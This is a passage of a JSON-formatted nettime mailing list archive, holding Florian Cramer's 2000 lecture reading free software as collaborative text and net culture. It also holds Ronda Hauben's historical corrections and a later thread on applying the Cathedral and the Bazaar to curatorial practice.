                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200309021929.h82JTtJ31442 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0309/msg00009.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "Re: <nettime> [Fwd: Re: [ox-en] Felix Stalder: Six Limitations to the Current Open Source Development Methodology]"
            },
            {
                "id": "00163",
                "content": "\n(This is the manuscript of a lecture I held on the panel \"Minor Media\nOperations\" at the Interface 5 conference in Hamburg. I hope it's of some\ninterest to Nettime subscribers. The text is also available in PDF and\nhtml format from my homepage <http://userpage.fu-berlin.de/~cantsin> -FC)\n\n\n                Free Software as Collaborative Text\n                                  \n                           Florian Cramer\n                     <cantsin {AT} zedat.fu-berlin.de>\n                                  \n                        September 15, 2000 [1]\n                                  \n   \nWhat is Free Software?\n\n  Why discuss Free Software in the context of net arts and net\n  cultures?\n  \n   Since about two years, Free Software--or \"Open Source\"--has\n   drawn increasing attention from artistic net cultures. The\n   Wizards of OS conference, first held in Berlin in 1999, was\n   the most prolific event to bridge the gap between the arts,\n   humanities and social sciences on the one hand and Free\n   Software culture on the other. The politics of copyleft and\n   free distribution of code and knowledge soon turned out to be\n   a common ground of discourse. In this paper, I will take a\n   different aspect into consideration by reading Free Software\n   as a net culture and its code as a multi-layered,\n   collaborative text. Seen as a literary practice, Free Software\n   development is an avant-garde of writing in digital networks,\n   and even more: Since Free Software is at the heart of the\n   technical infrastructure of the Internet, it has--to a large\n   extent--written its own digital network.\n   \n  Definition of Free Software\n  \n   In this paper, \"Free Software\" does not refer to\n   \"Freeware\", \"Shareware\" or other proprietary software\n   given away at no cost--like Microsoft Internet Explorer,\n   QuickTime and Real Player--, but is understood in accordance\n   with the definitions of Free Software Foundation\n   http://www.fsf.org as software which is \"free as free speech,\n   not as free beer\". Among the best-known examples of Free\n   Software are the Linux kernel, the GNU tools and the Apache\n   web server.\n   \n   Since 1998, the term \"Free Software\" competes with \"Open\n   Source\", a term launched by a group around the writer and\n   programmer Eric S. Raymond. According to this group, \"Open\n   Source\" is only a different name for the same thing to gain\n   more mainstream acceptance in the world of computing.[2] The\n   Open Source Definition [Opeb] therefore draws upon the older\n   Free Software Guidelines [Deb] of Debian, a non-commercial\n   GNU/Linux distribution made by volunteers.[3] The guidelines \n   can be summarized as follows:\n   \n    1. Free Software may be freely copied.\n    2. Not only the executable binary code, but also the program\n       source code are freely available.\n    3. The source code may be modified and used for other\n       programs by anyone.\n    4. There are no restrictions on the use of Free Software.\n       Even if Free Software is used for commercial purposes, no\n       license fees have to be paid.\n    5. There are no restrictions on the distribution of Free\n       Software. Free Software may be sold for money even without\n       paying the programmers.\n       \n   Since the same criteria apply to \"Open Source\", the two\n   concepts indeed do not differ in technical terms. Yet each of\n   both terms has its ambiguities: While \"Free Software\" tends\n   to get confused with Freeware and Shareware,[4] \"Open Source\"\n   is easy to be mixed up with \"open standards\"--like the HTML\n   format and the http protocol--and with software like Sun's Java\n   whose source code is publicly available, but only under a\n   restrictive license. It is particularly important to\n   differentiate \"Open Source\" and \"Free Software\" from open\n   standards. While open standards are unified technical\n   specifications set up by committees like the Internet\n   Engineering Taskforce (IETF) and the World Wide Web Consortium\n   (W3C), \"Open Source\" or \"Free Software\" developers code\n   whatever they like for their own fun, and they are free to\n   split their projects and develop the code into separate\n   directions if a consensus can no longer be reached.[5]\n   \n   Since misconceptions of \"Open Source\" are so common, I will\n   stick with the less popular, but somewhat clearer term \"Free\n   Software\".\n   \n  Free Software History\n  \n   It is not accidental that history of Free Software runs\n   parallel to the history of the Internet. The Internet is built\n   on Unix networking technology. Unix used to be free for\n   academic institutions in the 1970s, and it has been either the\n   base or model of the common Free Software operating systems\n   BSD and GNU/Linux.\n   \n   Any ordinary E-Mail message still reveals the affinity of the\n   Internet and Unix technology: E-Mail itself is nothing but the\n   Unix mail command. An E-Mail address of the form xy {AT} z.com is\n   made up of what's historically a user name on a multiuser Unix\n   system and, following the \" {AT} \", the system's host name. This\n   host name is resolved via the free Unix software bind\n   according to the Internet domain name system (DNS); DNS itself\n   is nothing but a networked extension of the Unix system file\n   /etc/hosts. Since the Internet has marginalized or even\n   replaced proprietary computer networks like IBM's EARN/Bitnet,\n   Compuserve, the German Btx and the French Minitel, Unix\n   networking technology is standard on all computing platforms.\n   \n   In the 1970, Unix particularly attracted student hacker\n   communities at the MIT and at the University of California at\n   Berkeley. The concepts of open, decentralized computer\n   networks and free Unix-like operating systems originated in \n   the computer science labs of these institutions. By\n   the early 1990s, the \"hacker\" software written there had\n   evolved into\n   \n    1. the BSD family of operating systems with the free versions\n       FreeBSD, NetBSD and OpenBSD. All of them use a codebase\n       that was originally developed in Berkeley under the\n       project leadership of Bill Joy.\n\n    2. the GNU/Linux operating system. All major Linux-based\n       operating system distributions--RedHat Linux, SuSE Linux,\n       Turbo Linux, Debian GNU/Linux, Mandrake Linux, Corel Linux\n       OS and Caldera OpenLinux, to name only a few--build on the\n       GNU software written since 1984 by the Free Software\n       Foundation (FSF) and on the Linux kernel written since\n       1991 under the project leadership of Linus Torvalds.[6] \n       The FSF was founded and is still being led by former MIT\n       hacker Richard M. Stallman.\n       \n   Open technology has been a key factor for the acceptance of\n   computers and networking: The open architecture of the IBM\n   Personal Computer made computers cheap and popular since the\n   1980s, and with the open architecture of the Internet,\n   networking became popular in the early 1990s. Lately, Free\n   Software has made high-end Unix server computing available to\n   anyone willing to learn the technical details. Whether Free\n   Software can become as popular on mainstream desktop computers\n   and eventually de-commoditize all computer software, remains\n   to be seen, but is not the question I want to investigate\n   here.\n   \nFree Software as a Net Culture\n\n   In the middle of the 1990s, \"net culture\" became the keyword\n   for artistic, art-critical and political discourse in the\n   Internet. The term was closely identified with mailing lists\n   like Nettime http://www.nettime.org and Rhizome\n   http://www.rhizome.org, conferences like the one where I\n   present this paper and print publications like the Nettime\n   anthology [BMBB^+99]. \"Net culture\" used to be pronounced as\n   a singular noun in these forums and media referring only to\n   the discourse they created.\n   \n   Free Software is an outstanding example that there is not one,\n   but many net cultures. It predates artistic net cultures in\n   the Internet by roughly twenty years. The Free Software\n   copyleft can be seen as the quintessential reflection of this\n   long experience. Invented to preserve the traditional\n   academic-artistic freedom of speech and citation in the\n   digital realm, the copyleft has radically rewritten it\n   nevertheless. The concept that code, i.e. text, may not only\n   be freely copied, but even modified (\"patched\"), willfully\n   recycled and commercially redistributed by anyone without the\n   author's permit is foreign to the post-medieval Western arts\n   and sciences. In print culture, such practices are considered\n   plagiarism and theft.\n   \n   Even for the digital net arts, the copyleft remains an\n   unresolved challenge. Many, if not most net artworks depend on\n   proprietary authoring and display software,[7] and the\n   distribution terms of their code are rarely clarified.[8] Yet\n   Free Software has as subtly as significantly influenced the\n   digitally networked arts. Without free E-mail server software\n   like Majordomo http://www.greatcircle.com/majordomo/ and\n   Sendmail http://www.sendmail.org--and the overall possibility \n   to set up inexpensive servers using the GNU/Linux and BSD\n   operating systems on stock PC hardware--, the artistic net\n   cultures of Nettime et.al. hardly could have operated\n   non-commercially and with free participation.[9] Friedrich\n   Kittler's observation that artistic tools conceptually shape\n   what is made with them [Kit85] also applies to the net arts.\n   The fact that Majordomo and Sendmail became major tools of\n   artistic net activity is an important--but of course not the\n   sole--explanation why contemporary Net.art tends towards\n   conceptual, discursive and text-heavy work instead of the\n   immersive \"virtual reality\" environments many critics had\n   expected them to deliver. The latter would have required\n   expensive proprietary software for design and display, closed\n   high-speed networks and, as a result, dependence on highly\n   funded institutional infrastructures, limited community\n   participation and top-down instead of bottom-up organization\n   of this particular net culture.\n   \nFree Software as Writing\n\n   The relevance of Free Software for other net cultures is not\n   limited to the tools it has created and the infrastructures it\n   has made possible, simply because those tools themselves are\n   the very object of Free Software culture: they are text,\n   results of complex textual processing. Moreover, this text is\n   being produced with tools which themselves are free code.\n   \n   While the phenomenon that text is being built with tools which\n   are source text themselves applies to the proprietary software\n   as well, there is an important difference: Free Software\n   source text is not withdrawn from the public. It cannot be\n   abandoned by company management and does not disappear when\n   development has ceased. All Free Software builds up to a\n   public repository of text-coded, free-to-use knowledge. It\n   accumulates to an archive. Instead of being written from\n   scratch, new Free Software can be built from whatsoever is in\n   that archive. Free Software therefore is highly intertextual.\n   Free Software development is the earliest and still most\n   successful practice of collaborative writing in computer\n   networks. With its system of textual production and politics\n   of code, Free Software is by far the more advanced net\n   literature than what is commonly understood as net poetry and\n   net fiction.[10] Free Software may be seen simultaneously as\n   \n     * a freely accessible, ever-growing body of code--a text\n       archive;\n     * recursive (i.e. self-applied) text processing, since\n       available text is used both as a source and as a building\n       tool to create new code;\n     * text processing even through the medium of text, because\n       Free Software development infrastructures mostly depend on\n       mailing lists and command-based version control systems.\n     * a \"hacker\" culture which advocates freedom of\n       information and codes its politics into the legal texts of\n       the copyleft.\n       \n   The coded copyleft might be the clearest interstice between\n   Free Software as a net culture and Free Software as net text.\n   Both these aspects already come into play when Free Software\n   is being written. Free Software development is typically\n   achieved by self-organized volunteer projects whose members\n   communicate and collaborate via the Internet. The development\n   work consists of:\n   \n    1. Writing program source text\n       This involves evaluting of available Free Software source\n       code for possible inclusion and adaption. It also involves\n       picking--and compiling--the coding tools which themselves\n       are Free Software source text.\n       To accomodate its own needs, Free Software has developed\n       the arguably most sophisticated writing tools for the\n       distributed authoring of text. Particularly outstanding is\n       the Concurrent Versioning System (CVS) [Ced99] which\n       allows authors to take portions of text--regardless whether\n       it is written in programming language or in natural\n       language--over the Internet, work on them at home, and\n       synchronize the changes with the revisions of other\n       collaborators any time. CVS-based writing might be the\n       technically most radical departure from the\n       typewriter-and-mail paradigm in text editing to date.\n    2. Writing documentation text\n       Documentation is both internal and external to the program\n       source text when the latter contains annotations and\n       separate reference documentation is being written.\n       Free manuals remain a political issue within Free Software\n       development. A number of companies base their business\n       model on giving away the software under free licenses and\n       charging for documentation and support.[11] In the ideal\n       case however, a second textual recursion occurs within in\n       Free Software which is common in all modern knowledge\n       systems since Diderot's and d'Alembert's Encyclop\u00e9die:[12]\n       The text teaches the reader all steps which were necessary\n       for its creation so that all the information it contains\n       may be re-applied to itself.\n    3. Communication over mailing lists, bugtracking systems and\n       IRC\n       Free Software development teams almost exclusively\n       constitute themselves and communicate over the Internet,\n       in mailing lists and on IRC servers. Interpersonal\n       communication therefore is a third layer of text which\n       regulates the design of both program and documentation\n       source text. It operates as a cybernetic feedback loop for\n       the development process.\n    4. Writing legal text\n       Free Software is legally defined. It is software under\n       certain licenses, i.e. legal documents. The most common\n       types of copyleft include the GNU General Public License\n       http://www.gnu.org/copyleft/gpl.html, the BSD License and\n       the Perl Artistic License. Whether program source text is\n       free solely depends on whether it is copylefted. Legal\n       text therefore is the fourth layer of text regulating the\n       entire flow of text generated in Free Software projects.\n       \n   Free Software is thus a highly sophisticated system of\n   recursive text generation for a public pool of knowledge. It\n   is text code created from text code with text-coded tools and\n   textual communication over networks. The types of texts\n   processed in Free Software are extremely diverse: They include\n   executable binaries,[13] text written in programming languages,\n   text written in natural languages for documentation, text\n   written in natural languages for communicating and steering\n   development, and legal texts defining the fair-play rules of\n   the recursive textual processing.\n   \nObjections\n\n   Both the Free Software engineering and the net artistic camps\n   are traditionally skeptical about attempts to read Free\n   Software in terms of the net arts. The objections were\n   particularly voiced when the Linux kernel was awarded the\n   Golden Nica in the \"net\" category of Ars Electronica 1999.\n   At the Wizards of OS conference in the same year, the net\n   artist Alexej Shulgin argued that Free Software is\n   \"functional\" while Net.art is \"non-functional\",\n   self-sufficient code.[14]\n   \n   I do not find this point viable from an analytical\n   perspective, since the division between \"functional\" and\n   \"non-functional\" is purely arbitrary and subjective. I/O/D's\n   Web Stalker [I/O97], an experimental Web browser and\n   well-known Net.art work, is arguably more \"functional\" than\n   the teddy bear desktop emblem xteddy which is contained in all\n   major GNU/Linux distributions. Moreover, the dinstiction\n   between \"functional\" Free Software and \"non-functional\"\n   Net.art falls back into late-romanticist notions of the\n   absolute artwork versus lower craftsmanship. It also neglects\n   that with its multiple self-applications of text, the\n   development and use of Free Software is to a large extent its\n   own purpose. No other operating system is as open and\n   seductive to be used as an end to itself as GNU/Linux.\n   \n   Just as arbitrary as the distinction between \"functional\"\n   and \"non-functional\" software is that between program source\n   code and poetry. To date, all attempts to formally define\n   poetry and poetic language have failed. The decision whether a\n   text is poetry will always be up to the reader. The notion of\n   \"program code\" versus \"poetry\" was first put into question\n   by the French poet and mathematician Fran\u00e7ois le Lionnais, who\n   co-founded the Oulipo group with Raymond Queneau. In 1973, le\n   Lionnais released a volume of poetry written in the\n   programming language Algol. The practice has been revived in\n   the 1990s by people who write poems in the Perl scripting\n   language.\n   \nConclusion\n\n   Read as a net literature and a net culture, Free Software is a\n   highly sophisticated system of self-applied text and social\n   interactions. No other net culture has invented its computer\n   code as thoroughly, and no other net culture has acquired a\n   similar awareness of the culture and politics of the digital\n   text.\n   \n   Much Net.art, net literature and critical discourse about them\n   has focused on the aesthetics and politics of desktop user\n   interfaces. In its focus on code, Free Software shows that net\n   cultures are about more than just what is between people and\n   the network. To date, it remains a rare example of electronic\n   literature which does not confuse the Internet with web\n   browsers.\n   \n   (Acknowledgement: This paper was written using the Free\n   Software programs LyX, LaTeX, bibtex, bibtools, pdflatex,\n   latex2html, lynx, XEmacs and GNU Ghostscript on an office and\n   a home PC running Debian GNU/Linux with reiserfs, XFree86 and\n   larswm.)\n   \nReferences\n\n   [BMBB^+99]\n          Josephine Bosma, Pauline van Mourik Broekman, Ted\n          Byfield, Matthew Fuller, Geert Lovink, Diana McCarthy,\n          Pit Schultz, Felix Stalder, McKenzie Wark, and Faith\n          Wilding, editors. Readme! Filtered by Nettime.\n          Autonomedia, Brooklyn, 1999.\n   [Bos98]\n          Josephine Bosma. Is It a Commercial? Nooo... Is It\n          Spam? ... Nooo - It's Net Art. Mute, 10:73-74, 1998.\n   [Ced99]\n          Per Cederqvist. Version Management with CVS. Signum\n          Support AB, Link oping, 1992-1999.\n          http://www.lorai.fr/~molli/cvs-index.html.\n   [Cra00]\n          Florian Cramer. Warum es zuwenig interessante\n          Netzdichtung gibt: Neun Thesen, 2000.\n          http://userpage.fu-berlin.de/~cantsin/aufsaetze/netzlit\n          eratur/karlsruher_thesen.pdf.\n   [Deb]\n          Debian Project. The Debian Free Software Guidelines.\n          http://www.debian.org/social_contract.html\n   [Hof99]\n          Jeanette Hofmann. Der Erfolg offener Standards und\n          seine Nebenwirkungen. Telepolis, 7 1999.\n          http://www.heise.de/tp/deutsch/special/wos/6453/1.html.\n   [I/O97]\n          I/O/D. I/O/D 4: The Web Stalker, 1997.\n          http://bak.spc.org/iod/.\n   [Kit85]\n          Friedrich Kittler. Aufschreibesysteme 1800 1900. Fink,\n          M\u00fcnchen, 1985.\n   [Opea]\n          The Open Source Initiative. Frequently asked questions\n          about open source. http://www.opensource.org/faq.html.\n   [Opeb]\n          The Open Source Initiative. Open Source Definition.\n          http://www.opensource.org/osd.html.\n     _________________________________________________________\n   \n  Footnotes:\n  \n   1 This paper was presented at the conference Interface 5 on the\n   panel Minor Media Operations, Hamburg, Warburg-Haus, September\n   15, 2000\n   \n   2 To quote from Raymond's Frequently Asked Questions about Open\n   Source: \"The Open Source Initiative is a marketing program\n   for free software. It's a pitch for free software on solid\n   pragmatic grounds rather than ideological tub-thumping. The\n   winning substance has not changed, the losing attitude and\n   symbolism have.\" [Opea]\n   \n   3 Both the Debian Free Software Guidelines and the Open Source\n   Definition were originally drafted by Bruce Perens, a Free\n   Software developer and editor of the website technocrat.net\n   http://www.technocrat.net.\n   \n   4 I.e. binary-only software which can be downloaded freely and\n   used without licenses fees (Freeware) or by paying\n   comparatively small licenses fees (Shareware).\n   \n   5 A prominent example is the XEmacs http://www.xemacs.orgtext\n   editor which \"forked\" its codebase from GNU Emacs\n   http://www.gnu.org/software/emacs/emacs.htm. The same would be\n   impossible in open standards development. The social dynamics\n   and institutional control of open standards development is\n   excellently described in Jeanette Hofmanns (German) essay Der\n   Erfolg offener Standards und seine Nebenwirkungen [Hof99].\n   \n   6 There is an ongoing debate in Free Software culture whether\n   operating systems based on the Linux kernel should be called\n   \"Linux\" or rather \"GNU/Linux\". In order to be functional\n   at all, a \"Linux\" setup relies upon the GNU C Compiler (gcc)\n   to translate all program sourcecode into machine-executable\n   binary software, the GNU C Library (glibc) as the interface\n   between the Linux kernel and userspace applications, and the\n   GNU tools for the basic user commands. Although it is possible\n   to replace at least the GNU tools and the glibc with non-GNU\n   workalikes, all common \"Linux\" distributions use the Linux +\n   GNU software setup. I will therefore stick with the name\n   \"GNU/Linux\" where I refer not only to the kernel, but to the\n   whole operating system.\n   \n   7 Such as Macromedia's Shockwave and Flash in \"Net.art\",\n   Opcode's MAX in electronic music and Eastgate's Storyspace in\n   hypertext fictions.\n   \n   8 The artist group 0100101110101101.ORG\n   http://www.0100101110101101.org put this issue up front when\n   it mirrored and partially modified well-known Net.art web\n   sites on its own web site.\n   \n   9 Early artistic computer networks like the Thing BBS\n   http://www.thing.net charged their subscribers (at least in\n   Berlin) before they migrated into the Internet.\n   \n   10 How net literature--\"hyperfiction\" and \"new media\n   poetry\"--relates to poetic practices rooted in programmer's\n   cultures is discussed in more detail in my (German) paper\n   [Cra00].\n   \n   11 Among those companies are O'Reilly publishers, Sendmail\n   Inc., VA Linux, Scriptics, Helix Code and Eazel. All of them\n   are involved in the development or documentation of critical\n   components of GNU/Linux operating systems.\n   \n   12 I thank Wau Holland for pointing this out to me in a\n   prepatory meeting for the first Wizards of OS conference.\n   \n   13 Which can be read as \"text\" if text is linguistically and\n   semiotically defined as a finite number of discrete signs\n   chosen from a finite set of signs. In computing, \"text\" is\n   rather colloquially understood as code from natural-language\n   alphabets as opposed to binary code. Being a philologist, I\n   refer to the prior concept of \"text\".\n   \n   14 According to [Bos98], the label \"Net.art\" was coined in 1996\n   by the net artist Vuk Cosic. It has been associated with a\n   particular generation of net artists since (involving, among\n   others, Cosic himself, Heath Bunting, Olia Lialina, Alexej\n   Shulgin, jodi and I/O/D).\n\n\n      c/o Freie Universit\u00e4t Berlin, Seminar f\u00fcr Allgemeine und\n   Vergleichende Literaturwissenschaft, H\u00fcttenweg 9, 14195 Berlin\n\n\n-- \nFlorian Cramer, PGP public key ID 6440BA05\n<http://userpage.fu-berlin.de/~cantsin/>\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0009/msg00163.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> Free Software as Collaborative Tex",
                "from": "Florian Cramer <paragram {AT} gmx.net>",
                "follow-up": [
                    {
                        "from": "nda {AT} ais.org (Ronda Hauben)",
                        "content": "\nFlorian Cramer <paragram {AT} gmx.net> wrote:\n\n>  Free Software History\n  \nGood to see an effort to look at the history of the Internet and the\nconnection with Free Software.\n\n>   It is not accidental that history of Free Software runs\n>   parallel to the history of the Internet. The Internet is built\n>   on Unix networking technology. Unix used to be free for\n>   academic institutions in the 1970s, and it has been either the\n\nActually Unix wasn't free in its earliest days, when John Lion in\nAustralia and Robert Fabry wrote and asked for the sources from AT&T. It\nwas available at a \"nominal fee\". It was a token payment, I think $110\nAustralian ($150 US).\n\nThat was in the 1974 period.\n\nI don't know what the situation when the Australians or the folks sending\ntheir tapes or Berkleley began sending out the BDS tapes.\n\n(There is some discussion of all this in chapter 9 of Netizens.\nhttp://www.columbia.edu/~hauben/netbook)\n\n>   base or model of the common Free Software operating systems\n>   BSD and GNU/Linux.\n   \n>   Any ordinary E-Mail message still reveals the affinity of the\n>   Internet and Unix technology: E-Mail itself is nothing but the\n>   Unix mail command. An E-Mail address of the form xy {AT} z.com is\n>   made up of what's historically a user name on a multiuser Unix\n>   system and, following the \" {AT} \", the system's host name. This\n>   host name is resolved via the free Unix software bind\n>   according to the Internet domain name system (DNS); DNS itself\n>   is nothing but a networked extension of the Unix system file\n>   /etc/hosts. Since the Internet has marginalized or even\n>   replaced proprietary computer networks like IBM's EARN/Bitnet,\n>   Compuserve, the German Btx and the French Minitel, Unix\n>   networking technology is standard on all computing platforms.\n   \nActually the Unix networking character was the bang symbol ! and an\naddress might look something like utzoo!utcsrgv!peterr That was the path\nfor the address on uucp.\n\nThe agreement to use \" {AT} \" which was the Internet meeting came at a meeting\nin I thought the 1980's where people like Mark Horton and Jon Postel and\nothers were there to figure out a common addressing mechanism.\n\nSo the \" {AT} \" doesn't come historically from the UNIX side of all this\n\nBernard Lang has an interesting article in the Feb 2000 issue of La\nRecherche which describes in a bit of a different way the connection\nbetween early Unix and the ARPANET, and he refers\n\n>   In the 1970, Unix particularly attracted student hacker\n>   communities at the MIT and at the University of California at\n>   Berkeley. The concepts of open, decentralized computer\n>   networks and free Unix-like operating systems originated in \n>   the computer science labs of these institutions. By\n>   the early 1990s, the \"hacker\" software written there had\n>   evolved into\n\nActually at MIT it was the AI labs and they used the pdp 10 machines --\none was the ITS (Incompatible Time Sharing).\n\nI didn't think these were UNIX machines at this period.\n\nActually UNIX was only created at Bell Labs in 1969-1970's and announced\nin 1974. Chapter 9 in Netizens gives this background.\n\n(...)\n\nAlso it is interesting to see your references to \"open architecture\".\n\nI recently wrote something for an encyclopedia on computers and computer\nhistory about open architecture and found very little has been written\nabout it even though it is indeed the basis for the Internet's\narchitecture.\n\n>   Open technology has been a key factor for the acceptance of\n>   computers and networking: The open architecture of the IBM\n>   Personal Computer made computers cheap and popular since the\n>   1980s, and with the open architecture of the Internet,\n>   networking became popular in the early 1990s. \n\nI thoguht the bbs culture also supported the spread of a free software in\nthe 1980s.\n\nPerhaps also looking at the ARPANET tradition of the free spread of\nsoftware would be of interest. And on early Usenet there were newsgroups\ndedicated to spreading software.\n\nUsenet was an early means of not only spreading Unix software but also\ndicussion about how to deal with the bugs. Chapter 10 in Netizens\ndescribes this evolution.\n\nThat's all I have time to comment on now. Good to see the effort to take\non such topics, and it is important to put them in their historical\ncontext as that gives an idea of what is being built on and hence helps\nprovide a sense of direction forward and of the progress being made.\n\nCheers\n\nRonda\nronda {AT} panix.com\n\n\nhttp://www.ais.org/~ronda/\nhttp://www.columbia.edu/~hauben/netbook/\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00181",
                        "date": "Wed, 20 Sep 2000 12:56:05 -0400 (EDT)",
                        "to": "nettime-l {AT} bbs.thing.net, paragram {AT} gmx.net",
                        "message-id": "200009202205.SAA25843 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0009/msg00181.html",
                        "content-type": "text/plai",
                        "author_name": "Ronda Hauben",
                        "subject": "Re: <nettime> Free Software as Collaborative Tex"
                    },
                    {
                        "from": "lorian Cramer <paragram {AT} gmx.net>",
                        "content": "\nAm Wed, 20.Sep.2000 um 12:56:05 -0400 schrieb Ronda Hauben:\n\n> Good to see an effort to look at the history of the Internet and \n> the connection with Free Software.\n\nAnd thank you very much for your valuable corrections! I will apply your\nbugfixes ASAP.\n\n> I thoguht the bbs culture also supported the spread of a free software\n> in the 1980s.\n\nThe BBS culture I know from here (Germany) was rather commercial and\ninclined towards Warez. Most BBSs were run against subscription fees and\nfrequently charged additional fees for their download areas. The software\navailable on them were DOS, Amiga or Atari Shareware/Freeware binaries.\nStill in the early 1990s (i.e. between 1990 and 1993), the GNU, BSD\n&c. software was available in the academic computer networks\n(EARN/Bitnet w/ Internet gateway at the university where I first went\nonline).\n\nFlorian\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00193",
                        "date": "Thu, 21 Sep 2000 13:24:25 +0200",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200009211851.OAA03580 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0009/msg00193.html",
                        "content-type": "text/plai",
                        "author_name": "Florian Cramer",
                        "subject": "Re: <nettime> Free Software as Collaborative Tex"
                    }
                ],
                "message-id": "200009200006.UAA00594 {AT} bbs.thing.net",
                "date": "Tue, 19 Sep 2000 11:39:31 +0200",
                "content-type": "text/plai"
            },
            {
                "id": "00008",
                "content": "Dear All\n\nIt would be great to get you opinion on the following:\n\nI am looking at open source and implementing this metaphor to a curatorial\npractice. What effect would this have on exhibiting artists? Would the\naudience benefit?\n\nAlso anyone with an interest in Eric S. Raymond?s free software development\nmodel. I would like to know the following:\n\n   1. What are your personal views about the ?Cathedral? and the ?Bazaar??\n\n   2. If you subscribe to one of these models how much of it applies to the\nwhole of your life?\n\n   3. Do you jump from one to another to suit your needs?\n\n   4. Besides in a software engineering world, can the Cathedral and the\nBazaar be seen any where else? or could it be applied to something else?\n\nI believe we need to get art out of its Cathedral ? could this metaphor\nwork?\n\nMany thanks\nDonna  \n\n--\n\nThe University of Abertay Dundee is a charity registered in Scotland, No:SC016040\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                "to": "<nettime-l {AT} kein.org>",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0902/msg00008.html",
                "list": "nettime_l",
                "author_name": "Holford-Lovell, Donna",
                "subject": "<nettime> the ?Cathedral? and the ?Bazaar??",
                "from": "\"Holford-Lovell, Donna\" <d.holford-lovell {AT} abertay.ac.uk>",
                "follow-up": [
                    {
                        "id": "00011",
                        "content": "Hello Donna,\n \n> I am looking at open source and implementing this metaphor to a curatorial\n> practice. What effect would this have on exhibiting artists? Would the\n> audience benefit?\n\nThere already is a rich tradition of applying Open Source/free software\nprinciples to art; \"curatorship\" seems a bit problematic as a term\n(which it is not only in this context), self-organization may be more\nappropriate. Examples can be found in the hack meetings which,\nparticularly in Italy, were hybrids of activist and artistic events, and\nmany related Internet art projects. But actually, the tradition is older\nthan even the terms \"Open Source\" and \"free software\". Since Ray\nJohnson's New York Correspondance School in the 1960s, the Mail Art\nnetwork had its own codified system of decentralized, international,\nopen participation art exhibitions, events and publications, with \nthe festivals and non-juried exhibitions of older avant-garde movements\nforming yet another historical pretext.\n\n> Also anyone with an interest in Eric S. Raymond?s free software development\n> model. \n\nHe pitched it \"Open Source\" as a more business-friendly term, against\nthe older, more activist term \"free software\".\n\n> I would like to know the following:\n> \n>    1. What are your personal views about the ?Cathedral? and the ?Bazaar??\n\nAgain, a lot has already been written about this (for example, in \"First\nMonday\" shortly after the Raymond's text appeared). Retrospectively, I\nthink there have been many confusions and urban myths about this essay.\nLike Roland Barthes' \"The Death of Author\", it is a text that,\npolemically speaking, nobody seems to have read yet everybody has an\nopinion about. Among those urban myths are:\n\n- that Raymond pitches an Open Source \"bazaar\" model against a\n  proprietary Microsoft-ish \"cathedral\" model of software development.\n  But in fact, it is about the decentralized development of Linux, the \n  operating system kernel supervised by Linus Torvalds [and not what \n  is commonly referred to as the whole Linux operating system], versus\n  the classical small, closed committee style of development that had\n  been characteristic for GNU software, the free BSDs and the X Window \n  System. On top of that, the text is not even literally about Open\n  Source because the term did not yet exist when it was first published.\n\n- Looking back at the above point more than ten years later, it is \n  probably fair to say that a clear-cut division of \"bazaar\"- and\n  \"cathedral\"-style development methods no longer exists in Free\n  Software development. The development of the Linux kernel has become\n  more hierarchical, with several layers of developer hierarchies that\n  a patch needs to go through in order to be accepted into the main line\n  kernel, while on the other hand the development culture of GNU and BSD\n  software has adapted itself better towards the Internet than in the\n  1990s. (The now-standard use of networked version control systems like\n  Subversion and git is a clear empirical indicator.)\n\n- While not using the term \"Open Source\" in its initial version, the essay \n  fully preempts the later Open Source-vs.-Free Software controversy by\n  discussing open, distributed development processes as technically\n  superior to closed processes. [There are striking similarities to\n  Bertalanffy's earlier General Systems Theory with its claim that\n  in nature and society, only open systems survive while closed ones die\n  of entropy, and of course to Popper's theory of the open society as\n  the counter-model to societies founded on philosophical idealism.] \n\n  I remember an article from the German IT journal iX that, ten years\n  after the manifesto, checked those claims and soundly disputed their\n  black-and-white rhetoric. For example, Open Source and distributed\n  development are clearly not a 100% cure against software bugs and\n  security leaks (as opposed to Raymond's statement that \"given enough\n  eyes, all bugs are shallow). There have been terrible bugs and\n  security nightmares - such as the recent Debian OpenSSL bug - even \n  in high profile FLOSS software projects. And the dialectics is also\n  true: If there are not enough eyes, bugs can be annoying, for example\n  in FLOSS multimedia authoring software from Cinelerra to PD that\n  thrive on very small and often amateur programmer communities (as\n  opposed to the OS kernels, file systems, network stacks, database\n  servers etc.).\n\n  It is probably fair to put Raymond's essay into the context of other\n  optimistic late-1990s Internet theories of \"crowd wisdom\", \"smart\n  mobs\" etc., that promote a similar cybernetic vision of a\n  self-organizing critical mass that is the magic solution to all\n  problems. Linux and, more recently, Wikipedia show that these theories\n  are not completely off and that networked collaboration can amount\n  to critical mass. But none of these projects are without their own \n  issues (such as conservatism: Linux reimplemented Unix\n  instead of the arguably more advanced and interesting Plan9 or Lisp \n  Machine kernel architectures because Unix kernel architecture 